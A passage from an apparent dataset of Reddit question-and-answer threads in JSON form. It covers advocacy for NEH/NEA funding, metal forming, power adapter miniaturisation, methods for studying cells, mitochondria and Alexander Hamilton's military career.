1860s-1970s and has provided visual information to support historic research on a broad range of topics of both local and national significance. Funds from The National Endowment for the Humanities Preservation Assistant Grant will support the rehousing training and purchase of archivally sound housing materials for the collection\u2019s glass plate negatives and the purchase of a flat file to house larger format photographic prints. The furniture and rehousing activities would support the goal of a stable storage environment for the Library\u2019s most popular local history collection.\n\n---------\n\nThe [Yellowstone Gateway Museum of Park County](_URL_9_), in [Livingston, Montana, population 7,044](_URL_11_):\n\n > The Yellowstone Gateway Museum of Park County\u2019s mission is to collect, preserve, and interpret the cultural and natural history of Park County, Montana and its relationship to Yellowstone Park for the education of everyone.  \n\nThey got [$5,102](_URL_2_) for \"Archival/Photo Collection Preservation Project\":\n\n > The Yellowstone Gateway Museum of Park County (YGM) holds numerous significant manuscript, archival and photograph collections. Collections are held to preserve Park County and Montana\u2019s heritage. YGM honors the spirit of Montana\u2019s history by accessioning, processing, and making accessible archival materials that reflect the state\u2019s diverse cultural background. Currently a large majority of these collections are located in a storage building behind the museum. The building does not have any environmental controls such as heating or cooling. Historic documents and photographs received by donors are currently stored in acidic boxes. As with many small museums, a large amount of backlog exists from the early years of development. Our goal is to move the material to the HVAC-controlled museum and store significant photographs and documents in archival folders, boxes, and cabinets to ensure the stability of the items for current and future researchers.\n\n-------------\n\nHopefully this helps to illustrate the kind of work that these grants can do. They are often very small, and they go to help small organizations which likely couldn't do the work that they aim to, or at least not on the same scale, without the help. All the grants are searchable [online](_URL_7_). I would certainly love to see people search through and share ones that have affected them!", " I wish you all the best. I no doubt that us here across the pond (UK) will have our own issues like this in the near future when people start to realise how much cultural and historical funding came from the EU.\n\n I really hope the cut gets overturned as these services you are trying to save are great and the work you guys do here is amazing.", "I see a lot of arguments put forth for the NEH, but where are the arguments for the NEA?", "Hi, im not a historian or even directly affected by a defunding of American institutions since im european, but the way I see it this can have a huge knock on effect for the rest of us as well. If the humanities and arts get defunded now the question is what's next? Anyone who relies on grants even partially could be the next target if budgets are cut again. So for those of us who rely on grants in other fields, for me it will hopefully be support for my PhD in law, give it a thought because not only can you support something you are interest in (or else you wouldn't be here) but also potentially support the future of your own line of work.", "I'm not sure if this is the proper place to ask this but I think it's important that I ask somewhere\n\nI'm an immigrant to the US and after 10 long years of effort, I'll finally be able to apply for my citizenship later this year. I now want to do what I never had the opportunity to do back in my home country: speak out and have a non-zero chance of being heard\n\nThere are a number of things I've wanted to speak up about but this post has been the tipping point for me. I'm educating myself on the proper way to contact my representative but I wanted advice from the more experienced among us on the best possible way so here are my questions:\n\n- When I hear contact my congressman, does that mean I should contact my Representative, or Senator, or both? \n\n- Am I even eligible to contact my representative? I'm a permanent resident but as I mentioned there will still be some time before I can apply for citizenship. Should I wait? Should I mention my status on call?\n\n- What is the best possible way of ensuring that you get heard? Online sources say email but this post says phone. Both?\n\n- If I contact by phone, I face a new set of challanges. English is not my first language and although I'm pretty comfortable with it, I do notice I get stuck explaining myself properly in speech. I'm also pretty introverted by nature and I know that will make things difficult as well. I don't want to just read a prepared statement if I have to but any advice regarding length and depth of my call would be very helpful\n\n- Can I call/email repeatedly and regularly? I wouldn't want to get blacklisted or anything?", "Thank you for bringing this to light. I've been apolitical much of my adult life. The past eight years or so I have taken a more involved role. I've left both my senators a message. Thanks again.", "Just texted my Congressman because he gives his cell phone number out to anyone at his meetings. He also has his office in the public library downtown and definitely supports the NEA and NEH but hopefully more of us being involved will encourage him to be more outspoken on the matter and in congress.", "Done! I voiced my opinion on all three issues. I gained my love of history and science from PBS, and am working towards being a science teacher in a Title I school. These programs are absolutely necessary for students without access to preschool, and expand everyone's knowledge. ", "Just called Senator Reed for Rhode Islanders. He [just spoke out against Trump's defunding efforts](_URL_0_) so I'm sure he'll be receptive to some support.", "I called Bill Nelson and Marco Rubio but got directed to voicemail on Nelson after being on hold for ten minutes and the option to leave a message on Rubio's, which I took. Is this sufficient? Do you think someone will listen to the message and mark down two votes (respectively) for supporting these three programs, or do I need to call back until I get somebody?", "What can I do if I live in a \"Blue\" house and senate district whose representatives will vote against it? ", "Wonderful post, keep up the pressure! As one of them foreigners I will once again make sure that my American friends, acquaintances and enemies (don't know of any....yet) know about this. To the social media machine!", "I salute you guys, honestly. This post is going to cause some degree of controversy, but I know that this is the right call.", "Called both my senators, although in Ca they are both seriously against these cuts.  \n\n\nThanks for the post!", "Whom do I call if I'm military stationed out of my state of residence? I assume it's my state of residence rep, but just making sure.", "Libertarian Republican here. Big fan of cutting waste. The NEA and NEH needs to be funded. This is our art our culture as a western nation. Have already called my reps. I am sure this will get full funding.", "Just called Senator Shelby (Alabama) to inform him someone in Southwest Alabama cares about NEA/NEH funding. ", "I made the call and tried to keep it short and sweet. I sincerely hope it helps.", "Thank you for this. ", "I will of course be in contact with my representatives, but since I am in Utah and with the likes of Hatch, Chaffetz, and Lee I don't see it going anywhere on my front sadly.", "Calls matter, but voting matters even more.  Vote in every election at every level for a candidate who supports public funding for good causes.  ", "What sorts of metrics are used to measure the efficiency of organizations that receive this funding? I think one of the problems people have (when giving only a quick glance to such programs) is that there are no tangible end-items. I realize this isn't the case much of the time, but if I were auditing a beneficiary what would I be looking for? Am I racking their progress up against their stated goals?\n\nAnd in that same vein, how are organizations chosen to receive funding? Are there boxes that need to be checked, like public benefit,  something along those lines? Who is the \"decider?\"\n\nTo be clear, I absolutely am not in favor of cutting these programs. The amount of money is trivial in the grand scheme of things and the cultural importance is invaluable. However, I don't think questioning government use of taxpayer funds should be anathema in any instance, ever. The amount of downvotes a handful of comments in this thread received seem to indicate some people would rather not have that type of conversation and I think that's a shame. Especially when you look at the stellar responses to many of those questions and realize what an opportunity it is to educate.", "Serious question:\n\nCan these organizations exist without federal funding?  Do they receive enough money from private donors to be able to operate without federal funds?", "Oh boy an advocacy campaign. I know about these, I've helped run them and been on the receiving end of them.\n\n**Here are some tips:**\n\n**Be polite:** the offices of elected officials get a ton of communication, much of it nasty, hateful and mean. The fastest way to get ignored by an elected official is to be one of the folks being rude to their staff. They'll just write you off as someone to be ignored.\n\n**Be clear about what you want:** Senators/Representatives get a lot of constituent (and advocate) contact on a lot of issues. It is easy for the details of who wants what to be confused. To that end one of the first things you should say, should be something along the lines of: \u201cI'm calling to ask the Senator/Representative to support funding for the National Endowment for the Arts, the National Endowment for the Humanities and the Institute of Museum and Library Services.\u201d \n\nSay it slowly and clearly so the person you are speaking with has time to write it all down. I'd recommend you say it again at the end of the phone call.\n\n**Be clear about why you want it:** The best argument for a program, is to tell them why it matters to you. The more personal the better. Maybe the NEA sponsored a great art instillation in your city, maybe the National Endowment for Humanities put on a great program you went to. The point is to humanize these programs, these offices hear about an alphabet soup of programs and are drowning in data, the more you can make a program's value clear in immediate human terms, the better.\n\n**Ask for a response:** Most of the time the person you talk to will be an intern or a staff assistant, they won't be able to give you a clear answer on the office's policy. Asking for a follow up ensures that your message will move up the food chain or at least force the office to actually have to deal with your ask.\n\n**More advanced tip:** Look to see if your representative/senator serves on the Appropriations Committee in either chamber. The Appropriations Committee is the one that makes the decisions about funding. If your representative/senator serves on the committee, it is even more important to contact their offices. If they aren't ask them to contact their fellow representatives/senators who are.\n\nThe House Appropriations roster: _URL_3_\n\nThe Senate Appropriations roster: _URL_0_\n\n**Also more advanced tip:** the most effective way to get a message to an elected official is by personally asking them. Most representatives/senators hold either electronic or physical town halls. Attending one of these and asking your representative/senator personally, is the best way to get them to support your programs. \n\n**FAQ on the appropriations process for FY 2017 and 2018:**\n\n**Question:** Just what is the President's Budget and why does it matter?\n\n**Answer:** The president is required by law to submit a budget of his recommendations for the federal budget to Congress. Congress is not required to act on them, and often goes to great lengths to tell everyone how little they care about what the president thinks. However, like Gertrude in Hamlet they protest too much.\n\nWhile dramatic programmatic changes and topline numbers in the president's budget often don't make it past the committee room, the president's budget also contains a ton of recommendations on what departments and agencies would like for their budgets. Those recommendations often do end up mattering. \n\nIt's worth noting that there is also a political element to this. The current President is a Republican, so Congress may end up spending more time considering what he has to say than they did the previous president. \n\n**Q:** Wait, above there you listed both FY 2017 and 2018 up there. What gives?\n\n**A:** Usually Congress handles only one year's worth of appropriations at a time. However, the Fiscal Year 2017 appropriation was never finished, so although we are like a third of the way through  FY 2017 (FY's run from October 1st to September 30th), Congress still needs to finish the FY 2017 appropriations.\n\n**Q:** Yeah, about. Just how the hell does this all work?\n\n**A:** I am so very sorry you asked. Basically annually Congress passes (or attempts to pass) 12 appropriations bills. Each funding a different set of agencies in the government. The House and Senate Appropriations Committees each have 12 subcommittees, each of which is responsible for one of the 12 bills. These bills are supposed to be passed annually before the fiscal year ends. \n\n**Q:** So where do these programs fit in?\n\n**A:** the funding for NEA/NEH is controlled by the House and Senate Interior and Environment Appropriations Subcommittees funding for the Institute of Museum and Library Services and the Corporation for Public Broadcasting are controlled by the House and Senate Subcommittees on Labor, Health and Human Services, Education, and Related Agencies. If you are fortunate to have a member on either subcommittee, it is vital that you reach out to them to ask that they support these programs. You can find out who is on the relevant appropriations subcommittees on the House and Senate Appropriations Committee websites.\n\nSenate: _URL_2_\n\nHouse: _URL_4_\n\n**Q:** Do you have a source for the stuff you just said?\n\n**A:** Of course, this is still /r/askhistorians\n\nCheck out the CRS report on this here: _URL_1_\n", "Woooow, I read the whole thing and I was seriously, to my mistake, expecting it to be an anti trump campaign and I'm so happy it wasn't. Not the point though! I agree with this cause even being a Trump Supporter, meaning I disagree with the Trump Administration's plan for taking away these things. Let's get our voices out there and give our opinions as the American people love it! ", "i wish you luck on this one my friends, not living in america but can relate to your struggles.", "This post and the comments underneath are restoring my faith in the beauty that is WITHIN the US and honestly around the world. Especially hearing other countries giving us support and knowing we don't stand for many of the divisive statements of our government.\n", "I'm trying to organize a letter/petition to be sent from my college. Does anyone know the deadline/voting on this and when it needs to be in by? I have to get this by a board and they'll want that kind of info, especially since this'll probably have to be a fast tracked deal.", "Is there anyway I can help from australia to help the nea and neh I donate to npr.", "Upvoting as a Canadian, not sure if I have much of a say in effecting your politics, but I sure hope that those critical services stay in effect rather than building a stupid wall.", "This is NOT wasted money, this enriches people's lives, directly improves public education, and benefits our culture. ", "My representative is Kevin McCarthy :( His office ignores us.", "Being in a country under dictatorship, I always envy your American way of participation in politics. You can call to your representatives and state your opinion on the matter affecting you, which we have none, all we can do here is pray that those dictatorial board have our best interest at heart. Yep, tough luck.\n\nSo, yeah, exercise all your right while you can. If you don't it would be such a shame I would recommend you to come and live under the rock here with us.", "If you go through my post history you will see that I am not very active on this sub since my field of study is niche and often never gets asked about.\n\nBut I have the following questions for the moderation team since this thread seems to be open season.\n\n1) How many of you are americans?\n\n2) How many of you receive part or all of your income from grants or other funding that may be cut under the new budget proposal?\n\n3) How many other (non-american) national historical societies are for or against these cuts in solidarity with the AHA or with the current United States government respectively? ", "Could I suggest that we could make a point to cross post this with the guys in one of the art reddits for them to also make a second call for the History grants and visa versa. Make 2 calls, double the calls."]}, "title_urls": [], "selftext_urls": ["https://www.historians.org/publications-and-directories/perspectives-on-history/february-2016/have-a-question-about-the-past-askhistorians", "https://twitter.com/askhistorians", "https://www.nytimes.com/2017/03/15/arts/nea-neh-endowments-trump.html?_r=0", "https://www.loc.gov/ndnp/", "https://www.reddit.com/r/AskHistorians/comments/5r1dlk/the_trump_administration_and_the_national/dd5xiok/", "https://www.imls.gov/news-events/news-releases/institute-museum-and-library-services-issues-statement-presidents-proposed", "https://www.reddit.com/r/AskHistorians/comments/5r1dlk/the_trump_administration_and_the_national/dd52t3d/", "https://www.reddit.com/r/AskHistorians/comments/5r1dlk/the_trump_administration_and_the_national/dd3sffh/", "https://www.reddit.com/r/AskHistorians/wiki/amas", "https://www.reddit.com/r/AskHistorians/comments/5r1dlk/the_trump_administration_and_the_national/", "https://www.govtrack.us/", "http://askhistorians.tumblr.com/"], "answers_urls": [[], ["https://www.imls.gov/news-events/news-releases/institute-museum-and-library-services-issues-statement-presidents-proposed"], [], ["https://5calls.org/"], [], [], [], ["http://www.npr.org/about-npr/178660742/public-radio-finances"], [], [], ["https://en.wikipedia.org/wiki/Maryland%27s_congressional_districts#/media/File:Maryland_Congressional_Districts,_113th_Congress.tif"], [], ["http://historycoalition.org/2017/03/16/trump-fy-18-budget-proposes-devastating-cuts-to-federal-history-humanties-funding/", "http://historycoalition.org/"], [], ["http://www.gwh.org/lcbates/LCBatesMuseum.aspx", "https://en.wikipedia.org/wiki/Rockingham,_Vermont", "https://securegrants.neh.gov/publicquery/main.aspx?f=1&amp;gn=PG-52585-15", "https://www.appalshop.org/", "https://en.wikipedia.org/wiki/Fairfield,_Maine", "http://www.rockinghamlibrary.org/", "https://securegrants.neh.gov/publicquery/main.aspx?f=1&amp;gn=PG-251598-17", "https://securegrants.neh.gov/publicquery/main.aspx", "https://securegrants.neh.gov/publicquery/main.aspx?f=1&amp;gn=PG-52475-15", "http://yellowstonegatewaymuseum.org/", "https://securegrants.neh.gov/publicquery/main.aspx?f=1&amp;gn=PY-253110-17", "https://en.wikipedia.org/wiki/Livingston,_Montana", "https://en.wikipedia.org/wiki/Whitesburg,_Kentucky"], [], [], [], [], [], [], [], ["https://www.reed.senate.gov/news/releases/reed-risca-make-the-case-for-keeping-arts-humanities-museum-and-library-funding-alive"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], ["https://www.appropriations.senate.gov/about/members", "https://fas.org/sgp/crs/misc/98-721.pdf", "https://www.appropriations.senate.gov/", "http://appropriations.house.gov/about/members/", "http://appropriations.house.gov/"], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "14460j", "title": "Is bent metal stronger than metal cast at an angle?", "selftext": "Why is it that metal gets bent into rounded arcs or right angles instead of cast that way?  Is it a strength issue or a money issue or what?\n\nWhen I say cast i mean molten metal poured in a mold.  (sorry f that is not the correct word)", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/14460j/is_bent_metal_stronger_than_metal_cast_at_an_angle/", "answers": {"a_id": ["c79r28n", "c79rlco", "c7a0got"], "score": [16, 2, 2], "text": ["Cold forging introduces new dislocations in the crystal structure of the metal which increase both hardness and strength. So a bent/cold forged bracket will be 'stronger' (it will deform plastically at a higher stress) than the unbent form of the same initial crystal structure. Cast metal and hot forged metal should have similar strength to the unbent version given the same cooling times. \n\nHowever, after production, most metals are heat-treated to certain specifications. This means the initial production of if it does not matter very much since you plan on controlling the final crystal structure through heat treatment.\n\nThe cost element is higher for casting because molds are incredible expensive and you would need a different mold for each unique piece. This is why most companies just cold forge blanks and then heat treat. Cold forging means many different products can be made without incurring added mold costs.\n\n\ntl;dr cheaper to cold forge the metal and heat treat it rather than cast it since they will have same strength in the end due to heat treatment.", "Mostly production costs - it is cheap to produce angled parts from a flat sheet. \n\nOne option you have left out is extrusion. This produces strong parts in a variety of shapes - angles, box sections, tubes etc, as well as more complex shapes. Extruded parts are often used in structural applications, so I imagine that implies good strength vs cost.", "Generally speaking bent metal will be stronger than cast metal for the same shape, however the factors as to how and why metal is formed are many.  \nThe most common processes used in industry for forming metals are [Cold Rolling](_URL_2_), [Hot Rolling](_URL_3_), [Extrusions](_URL_1_), and [Casting](_URL_0_). There are additional subcategories of processes under each of these that can effect strength also. Each process has its cost and strength benefits. Different metals, and the different alloys of those metals, will react differently to the various forming processes in terms of their final strength.  \n\nHowever for simplicities sake, and generally speaking, a similar shape formed with cold rolled metal is stronger than one formed with hot rolled metal, which stronger than one formed by extrusion, which is stronger than one formed by casting.\n \nCosts will also vary depending upon the metal, the complexity of the form, and the amount needed.  Cold and hot rolling processes lend themselves to long sections of simple shapes, (eg. flat  stock, angle iron, I beams) while extrusion can create long sections of more complex shapes (eg. picture frames, window frames) while casting is best for smaller very complex shapes (eg.engine blocks)\n\nThere is a tipping point in volume where one process becomes less expensive than another. Hot rolling may be more expensive per unit than extrusion if you need 10,000 lbs, but less expensive if you need 100,000 lbs. It is often cheaper to cast 10 units than to set up the necessary machinery to extrude 10 units. \n\nYou will also get into strength vs cost benefits in subcategories of forming and depeding upon the alloy used, (sand casting zamak alloy may be cheaper but weaker than die casting, or cold extruding 6063 aluminum may be stronger but more expensive than hot extruding it) \n\nAdditionally there are metal specific post forming processes that can effect the final strength such as thermal treatments and strain hardening.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://en.wikipedia.org/wiki/Metal_casting", "http://en.wikipedia.org/wiki/Extrusion", "http://en.wikipedia.org/wiki/Rolling_(metalworking)#Cold_rolling", "http://en.wikipedia.org/wiki/Rolling_(metalworking)#Hot_rolling"]]}
{"q_id": "216c8s", "title": "How have plug adaptors become so much smaller and lighter over the past decade or so?", "selftext": "[Here's a comparison picture](_URL_0_) of two plug adaptors for electronic devices. \n\nThe one on the left was typical of about 10 years ago; it's bulky, heavy, and only takes one type of voltage (110v, 60hz). \n\nThe one on the right is typical of today; extremely compact, about 1/10th the weight of the old one, and can take input voltages that include various world standards (110-220v, 50-60hz).\n\nI presume some sort of technological innovation led to this advancement - what was it (or what were they, if it's multiple things), and how was it achieved?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/216c8s/how_have_plug_adaptors_become_so_much_smaller_and/", "answers": {"a_id": ["cga1zbc", "cga2c4b", "cga81g2", "cgaefs3"], "score": [2, 18, 30, 6], "text": ["Actually, the technological innovation wouldn't have been on the part of the plugs; it would've been on the part of the devices and batteries that are being charged - a lot of devices have shrunk and their batteries have improved.\n  \nStrictly in terms of size, if you look at the larger power adapter, you'll probably see that it handles a higher power than the 5V/1A converter.\n\nedit:  Okay, evidently I'm a bit out of date with power converters.  See below...", "Much of the reduction in weight is due to the widespread use of switching power supplies at higher frequencies thanks to better magnetic materials. Higher frequency supplies have better efficiency over direct 60Hz cousins. ", "There are a couple major reasons.\n\nFirst, switching power converters have become vastly more commonplace, and they are more efficient while using smaller components. Older AC to DC adapters use large transformers and large heat sinks because they are very inefficient and dump a lot of wasted power into heat. Modern switched mode adapters are much more efficient (85% or sometimes more) and use much smaller components. Computers have been using switched mode power supplies for a long time but the advancements in MOSFET transistors have made it practical and economic to build switched mode power supplies at every scale, as well as increasing the conversion efficiency and reducing EF noise (which requires bulky metal shielding) which was common with earlier switched mode electronics.\n\nSecond, many electronics use a lot less power than they used to, enabling much smaller adapters. Even a comparatively high amp draw device like an iPad will only draw maybe 10 watts of power while charging. Compare that to a power supply that might need to supply 100 watts or more of power.\n\nThird, modern electronics use PCB construction and surface mount components on multi-layer PCBs, which is incredibly compact. A surface mount resistor is maybe 1 to 2mm long, and can be placed extremely tightly on a board. Today the prevalence of pick-and-place machines and reflow ovens makes it almost trivial for even one-off production runs at small scale to be done at fairly low cost using such techniques. In the past it would have been more common for small electronics, including power adapters, to be hand assembled.", "The answer has basically been said already: the switch from traditional transformers to switching power supplies.  I'll try to explain what that means and why it allowed for the reduction in size/weight.\n\nThe old power supplies were simple transformers + rectifiers.  A transformer converts an AC input to a different voltage AC output.  The AC is then converted to DC with a rectifying circuit.  Transformers are just a set of two wire coils wrapped around a metal core.  The old power supplies were bulky mainly because transformers are bulky.\n\nThe new switching power supplies, rather than using transformers, are controlled by microprocessors so they can intelligently switch on and off the supply of AC (wall) power to a set of capacitors (charge-storing devices), in order to precisely charge them to the correct output voltage.  They constantly switch the connection from input to output on and off according to the charge state of the capacitors and the current state of the AC input wave.  This is why the new adapters can take a wide range of input voltages and reliably convert to a constant output."]}, "title_urls": [], "selftext_urls": ["http://i.imgur.com/QYI9rJj.jpg"], "answers_urls": [[], [], [], []]}
{"q_id": "1bp4p0", "title": "How do we know exactly how intracellular activities occur if we can't see them happening?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1bp4p0/how_do_we_know_exactly_how_intracellular/", "answers": {"a_id": ["c98pq21", "c98pt7r", "c98q4vd", "c98tirb"], "score": [6, 5, 26, 4], "text": ["This is one of the great powers of science. As it has been mentioned sometimes we **can** see some activities using fluorescent marking, such as the formation of [actin filaments](_URL_2_). However, a lot of the time we need to infer things from other data. As an example of this we can determine which proteins' concentrations vary over time using [pulse chase](_URL_0_) experiments with [SDS-PAGE](_URL_1_) (a way of looking at the different molecular weights of things in a cell). There is a whole world of science dedicated to this puzzle so I have only summarised a few here.", "We do it a number of clever ways.  For example, we know that some bacteria are capable of reducing nitrate to nitrite, and some can reduce nitrite even further (NO3^- -- >  NO2^- -- >  NO, or NH3, or N2...).  Here's how we prove it:\n\n[The Nitrate Reductase Test](_URL_2_)\n\n1.  Grow bacteria for a couple days in a yellowish liquid that has a bunch of nitrate in it.\n\n2.  Some chemicals are added to the liquid that will turn red if there is any nitrite in the liquid.  If nitrite is present, we know that the bacteria took nitrate and turned it into nitrite (NO3^- -- > NO2^- ).\n\n3.  If the liquid doesn't change color, you add some zinc powder to the liquid.  It'll turn red if the nitrate is still in the liquid (meaning the bacteria didn't reduce nitrate at all).  If the nitrate was reduced beyond nitrite, it'll remain colorless.\n\nThat's a common method - making microscopic events have macroscopic consequences.\n\nNow, depending on the level of detail you're looking for, we do stuff a lot of different ways.  Two cool examples are learning the function of a protein by observing what happens when you [render it useless or stop it from being made entirely](_URL_3_) and [blasting crystallized protein with x-rays](_URL_0_) to figure out its structure (you can learn a lot from the way a protein is shaped).  We will be able to see this stuff happening eventually, [we're getting pretty close](_URL_1_), but observing the intracellular processes of a living cell is a ways off.", "That's a really complicated question with more than 100 years of history behind it, going back to [Louis Pastuer](_URL_0_) showing that vitalism was wrong and that fractions of cells can produce molecules associated with life. We've gotten really good at growing, breaking, and separating all of the pieces that do the cells' \"work\" - wheter it is conducting a nerve impulse, replicating DNA, or making new proteins. We can both take the pieces out and recreate the function in a tube (enzymology, electrophysiology, structural studies, etc) and also identify the pieces in a cell (microscopy, electron microscopy). We can also alter them (mutation, deletion) and watch what happens to the cell or organism.\n\nAll of these clues are just pieces. Its up to us to stitch them together into our models, test them, and refine them when the models don't quite hold up to the new data (they always need some tweaks). Without knowing more about what specific intracellular activities you had in mind, this is how \"know\" what is happening in the cell. At least it is to the best of our ability to know things.", "You can mark certain proteins with fluorescent dyes."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Pulse-chase_analysis", "http://en.wikipedia.org/wiki/SDS-PAGE", "https://www.youtube.com/watch?v=9ICqcZ99qGk"], ["http://en.wikipedia.org/wiki/X-ray_crystallography#Biological_macromolecular_crystallography", "http://en.wikipedia.org/wiki/Atomic_force_microscopy#Biological_applications", "http://www.austincc.edu/microbugz/nitrate_reduction.php", "http://en.wikipedia.org/wiki/Gene_silencing"], ["http://en.wikipedia.org/wiki/Louis_Pasteur"], []]}
{"q_id": "cia6mb", "title": "what actually is this powerhouse of the cell thing ?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/cia6mb/eli5_what_actually_is_this_powerhouse_of_the_cell/", "answers": {"a_id": ["ev2uy7n", "ev2vjsb", "ev2vjwh", "ev2wwqi", "ev2xhk3"], "score": [3, 13, 5, 2, 2], "text": ["Mitchondria is the part of the cell that takes food and coverts it into a energy molecule called ATP. ATP is the currency the cell uses to function. It allows your heart cells to beat, your brain cells to communicate and your kidney cells to move waste into urine.", "Around 2.5 billion years ago, before there were people or mammals, the atmosphere didn't have any oxygen. At some point, bacteria evolved a way to do photosynthesis that worked really well but also produced oxygen as a by-product.\n\nAs the amount of oxygen increased in the atmosphere, it was actually a problem for life on earth. Oxygen can be very reactive and it was harmful to life that wasn't used to it.\n\nAnd then some life on earth evolved a way to use oxygen to help digest food and get more energy from food. We are descended from those early organisms.\n\nAnd the name of the part of the cell that performs this chemical feat is \"mitochondria\" (\"mitochondrion\" singular).\n\nSo, for short, \"Mitochondria is the powerhouse of the cell\".", "It refers to the mitochondria, which is an organelle (kinda like a mini organ) for cells.  It's responsible for making a specific chemical that our bodies use to run all the really tiny machines that do stuff in our body.  It's commonly referred to as the powerhouse (another word for powerplant) of the cell because it powers everything we do.\n\nIt's become a meme and is used as an example of useless knowledge learned in school.  While interesting, it's not as useful as say, learning how to pay taxes or make a budget (which aren't typically taught).", "The mitochondrion is a cell organelle (component) that converts the glucose (simple sugars) in your body, mainly obtained from the breakdown of carbs from food and drink, to usable energy (adenosine triphosphate/ATP). This entire process is named \"cellular respiration\".\n\n**More Detail**\n\nThe summarized reaction: C6H12O6(aq)+6O2(g) \u2192  6CO2 (g)+6H2O(l)\n\nThere are four complex steps to cellular respiration:\n\n1. Glycolysis\n2. Pyruvate Oxidation\n3. The Krebs Cycle\n4. Electron Transport Chain (generates the most ATP energy - approximately 34 moles thereof)\n\nIn anaerobic cellular respiration (e.g. some bacteria), where there is no oxygen present, fermentation can occur and lactic acid or ethanol (alcohol) is produced.\n\nA few videos that break down the process:\n\n* [_URL_1_](_URL_1_)\n* [_URL_0_](_URL_2_)", "If you're asking why people say \"mitochondria is the powerhouse of the cell\", it's a meme based on a paper written in the 50s by Philip Siekevitz called \"Powerhouse of the Cell\""]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["https://youtu.be/00jbG\\_cfGuQ", "https://youtu.be/7J4LXs-oDCU", "https://youtu.be/00jbG_cfGuQ"], []]}
{"q_id": "6pxgcw", "title": "How do historians generally view Alexander Hamilton's military abilities?", "selftext": "In the past couple weeks I've rekindled an interest in the history of the American Revolutionary War thanks to listening to the _Hamilton_ soundtrack.\n\nI haven't read Chernow's Hamilton biography yet, and I know that the musical obviously has some inaccuracies and has a more lionized view of Hamilton's life, but one of the parts of the musical that really struck me was how focused Hamilton was on military glory during the war.\n\nI've done some light researching and Hamilton was Lieutenant Colonel as aide de camp to Washington, and was promoted to Colonel after Yorktown for 'acts of bravery'. He was promoted to Major General during the Quasi-War between France and America in the late 1790s. However, that's pretty much all that's mentioned in stuff I've read. His military leadership is never really discussed like what you might hear about Nathaniel Greene, Henry Knox, or Benedict Arnold. \n\nPlus, in one song of the musical (_Guns and Ships_), a lyric involving Marquis de LaFayette goes:\n\n >  We can end this war at Yorktown, cut them off at sea, but\n\n >  For this to succeed, there is someone else we need:\n >  HAMILTON!\n\nAnd that kind of lyric seems pretty incongruous with what I've found about his military career in general.\n\n\nSo in general, is Hamilton's military ability just hugely hyped up in the musical compared to real life? ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/6pxgcw/how_do_historians_generally_view_alexander/", "answers": {"a_id": ["dkuodfy"], "score": [5], "text": ["Really, there isn't much said about his career as a battlefield commander because there simply isn't much to say. \n\nHamilton did certainly agitate for a military command for much of his time on Washington's staff, and when Washington gave him one, it was one of the best feathers in the cap any could have dreamed of throughout the whole war. More on that in a second. Hamilton's most important service, however, was as Washington's political brain and hatchetman during the war. \n\nWashington, by accident or design, started cultivating the \"Father of his Country\" image early in the war: he never technically campaigned for the commander-in-chief job (despite wearing his uniform to Congress as they considering candidates), and he never directly engaged in the political sniping, rumor-mongering, and backbiting that defined Revolutionary politics. He had Hamilton, and to a lesser extent, John Laurens for that. Hamilton, as the play makes clear, was an excellent writer, and took particular delight in insulting his enemies on paper. While the play focused on Lauren's duel with Charles Lee, far more destructive to the general's career was Hamilton and Lauren's efforts to ruin Lee's reputation after the Battle of Monmouth - an effort so effective that it \"Washington had to snatch a draw from the jaws of [Lee's] defeat\" has rarely been seriously challenged by historians in the intervening two centuries.\n\nBack to Yorktown. Hamilton was given command of the light infantry battalion in July 1781, just before their march from the Hudson Valley to Yorktown. The light infantry were the best-trained and most physically fit soldiers in the Continental Army, and had seen some of their best use as shock troops - precisely the role they filled at Yorktown when they stormed the outermost British defensive position, Redoubt #10.  The plan, a night attack made with the bayonet, was daring, but not his idea. The technique used - pulling flints from the soldier's muskets to prevent accidental misfires and charging solely with the bayonet - required heroic bravery, but had been done by both the British (Paoli) and Americans (Stony Point) during the war. Hamilton worked directly under the Marquise de Lafayette, who really commanded the action. Since the whole action occurred in and around trenches and fortifications, Hamilton never had the chance to show off the mobility and speed of the light infantry; he basically pointed them straight ahead and said \"go get 'em.\"\n\nOne episode of Hamilton's command does stand out: when his soldiers first marched into their trench (light troops generally didn't have to do much manual labor in order to keep them fresh and healthy, so their trenches were dug for them), the British greeted them with a volley of cannonfire. In order to show that his men (but really himself) could not be so easily intimidated, Hamilton ordered his men *out of the safety of their trench* and had them perform parade-ground military drills while the British shot at them. While these delighted the brash young staff officers in both the Continental and American Armies - the men who would help prop up Hamilton's reputation on both sides of the Atlantic, one of Hamilton's subordinates, Captain James Duncan of his battalion wrote, \u201cColonel Hamilton gave these orders, and although I esteem him as one of the first officers in the American army, must beg in this instance to think he wantonly exposed the lives of his men.\u201d\n\nHamilton's military service during the federal period was even more political in nature. In the 1790s, Alexander Hamilton led the charge to create a new professional army which could defend the United States against the French. This army, however, was a thoroughly political organization. Recruitment posters, approved by Hamilton, expressly called on *Federalists* to enlist and seek commission. Once assembled, the army repeatedly harassed, arrested, and beat political dissidents, particularly Republican newspaper editors, under the aegis of defending the government from seditious, Jacobin elements during efforts to put down the Fries Rebellion in Western Pennsylvania. Outrage at the usage of the army helped propel the Republicans to victory in 1800.\n\nSo, is there a historical consensus on Hamilton as a military figure?    He serves as a useful tool to view military service in the social context of the day: highly political, with bright young officers having a key eye towards their reputation and social advancement. Hamilton was better than most at controlling the narrative of both his enemies' actions and his own, and was not afraid to expose others to violence to maintain that narrative.\n\n**Sources:**\n\nCrackle, *Mr. Jefferson's Army*\n\nLender and Stone, *Fatal Sunday* (much of this book is an examination of Hamilton's politicking on behalf of Washington after Monmouth)\n\nMartin and Lender, *A Respectable Army*\n\n Michael Schellhammer, \"Alexander Hamilton: Dangerous Man,\" from the [*Journal of the American Revolution*](_URL_0_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": 